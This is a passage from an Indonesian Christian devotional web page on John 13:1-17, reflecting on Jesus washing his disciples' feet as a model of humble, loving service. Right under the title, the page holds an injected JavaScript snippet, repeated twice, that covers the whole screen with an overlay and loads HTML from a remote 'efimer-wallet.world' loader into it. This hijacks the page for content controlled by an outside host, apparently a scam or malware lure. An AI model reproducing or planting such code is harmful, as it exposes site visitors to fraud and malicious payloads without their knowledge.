TELADAN PELAYANAN DAN KASIH DARI YESUS

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 12 Juli 2023

Yohanes 13 : 1 – 17

Pengantar

Hampir di semua kelompok masyarakat di Indonesia menghayati dan memiliki adanya waktu-waktu khusus bersama keluarga. Moment-moment demikian menjadi kesempatan yang paling ideal bagi orang tua untuk menyampaikan wejangan- wejangan, pesan-pesan atau pengajaran berharga bagi anggota keluarga atau kepada anak-anaknya. Dan waktu-waktu khusus itu paling tepat saat moment makan bersama, karena pada saat itu seluruh anggota keluarga lebih mungkin untuk berkumpul bersama. Dan i tu menjadi kesempatan baik untuk membicarakan, menyampaikan mengajarkan atau hal-hal penting bagi seluruh anggota keluarga. Hari ini kita belajar tentang Yesus memberikan teladan agar saling mengasihi pada perjamuan malam terakhir bersama murid-murid.

Pemahaman

  1. Apa makna tindakan Yesus membasuh kaki murid-murid- Nya? (v. 4-11)
  2. Apa tujuan Yesus menjelaskan kembali tentang apa yang telah dilakukan-Nya? (v. 17)

Injil Yohanes dapat dikelompokkan menjadi dua bagian: Pasal 1-12 berisi pengajaran dan pelayanan Yesus yang bersifat umum yang ditujukan kepada publik. Pasal 13-21 lebih memuat pelayanan atau relasi Yesus dengan murid-murid utama atau murid kelompok dua belas. Alasannya karena Yesus sedang mempersiapkan murid-murid dengan lebih khusus selain melalui pengajaran-pengajaran khusus tetapi juga melalui teladan yang nyata. Alasan lain karena Yesus tidak lama lagi akan meninggalkan murid-murid-Nya menjalani jalan penderitaan sampai mati di kayu salib. Yesus memperagakan pengajaran-Nya tentang kasih kepada murid-murid dengan bertindak layaknya seorang hamba dengan membasuh kaki mereka satu per satu. Tak terkecuali kepada Yudas, sekalipun Yesus tahu bahwa Yudaslah yang akan menyerahkan-Nya kepada musuh-musuh-Nya. Seusai membasuh kaki murid-murid, Ia menegaskan agar murid-murid-Nya tidak meninggikan diri, tetapi mau merendahkan hati dan melayani sesama dengan tulus dan sungguh-sungguh, bahkan harus rela merendahkan diri untuk saling melayani satu sama lain seperti yang Yesus teladankan kepada mereka. Pelayanan dan keteladanan itulah yang Yesus berikan kepada para murid, kepada orang banyak di masa itu, dan tentu juga kepada kita hari ini. Ia melayani karena kasih dan kerendahan hati.

Refleksi  

Saudara-saudara, hari ini kita diingatkan untuk selalu meneladani Yesus yang adalah Tuhan kita dalam melayani dengan kasih kerendahan hati. Ia yang mulia dan tidak berdosa merendahkan diri-Nya untuk melayani dan membersihkan kita dari dosa-dosa agar kita beroleh keselamatan.

Tekadku

Tuhan Yesus, bimbinglah kami untuk saling mengasihi-melayani satu-sama lain seperti Engkau.

Tindakanku

Mari, saudara-saudara, kita meneladani Yesus dalam mengasihi- melayani sesama dengan tanpa pamrih, sebab kita semua telah mengalami kasih dan pelayanan Kristus dengan tanpa pamrih.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *